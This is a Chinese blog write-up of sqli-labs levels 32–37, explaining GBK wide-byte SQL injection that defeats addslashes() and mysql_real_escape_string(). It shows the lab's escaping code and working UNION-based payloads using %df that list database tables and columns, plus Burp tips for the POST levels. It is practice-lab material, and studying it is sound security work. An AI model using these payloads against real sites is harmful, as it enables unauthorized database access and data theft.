sqli-labs less32-37(宽字节注入)

less-32 Bypass addslashes()

less-33 Bypass addslashes()

less-34 Bypass Add SLASHES

less-35 addslashes()

less-36 Bypass MySQL Real Escape String

less-37 MySQL_real_escape_string

宽字节注入的原理

mysql使用的是gbk编码的时候,默认认为两个字符为一个汉字。当网站过滤的机制是采用转义\的时候,我们可以在网站添加的转义符号前面构造一个%xx使得变成%xx%5c而被mysql认为是一个汉字,从而绕过转义。

宽字节注入最长用的时%df,或者使用ascii码大于128的也可以 ,一般用129.

看到这里的时候其实我并没有理解这段意思,直接看做题过程理解宽字节注入的原理。

如何转成url编码

将十进制数转成十六进制,去最后两位前面加上百分号

例如129;129(十进制) -> 0x81 (十六进制) %81(url编码)

less-32 Bypass addslashes()

过程:

  1. 源码:
function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

输入1'

发现错误为1\', 源码中1\\\'中的第1和3个\表转义,构造的闭合'就会被当成字符串处理,而不是当作id的包裹,所以在这里没有作用

思路:
需要在构造一个反斜杠来转义后一个反斜杠达到过滤的效果。

  • ?id=-1%aa' union select 1,2,3 --+

%aa -> '/'

    • ?id=-1%aa' union select 1,2,3 --+

    • ?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database()) --+

从网上看到还有一种解法

%5c代表\ ,所以我们只要用字母组合使其形成宽字节,从而使\(斜杠)失效,例如我们这里用%ee和%5c进行组合,然后构造payload

less-33 Bypass addslashes()

有一些过滤但是 %df,%ee,%5c都可以使用

less-34 Bypass Add SLASHES (POST)

看题目是个POST传参,那就先传值进去,然后继续使用%df宽字节注入

正常来说回显应该跟上一关一样,但是34关并没有成功。 burp抓包看看

  • a%df'

uname处多了个%25 说明又经过了一次转码,所以在burp中直接修改参数可直接执行

之后过程跟上一关一样

less-35 addslashes()

参考Less-1

less-36 Bypass MySQL Real Escape String

单引号闭合


看了下源码只是函数变成mysql_real_escape_string() 与less-32相似

less-37 MySQL_real_escape_string

同Less-34

posted @ 2020-12-09 20:56  A2rcher_zjh  阅读(119)  评论(0编辑  收藏  举报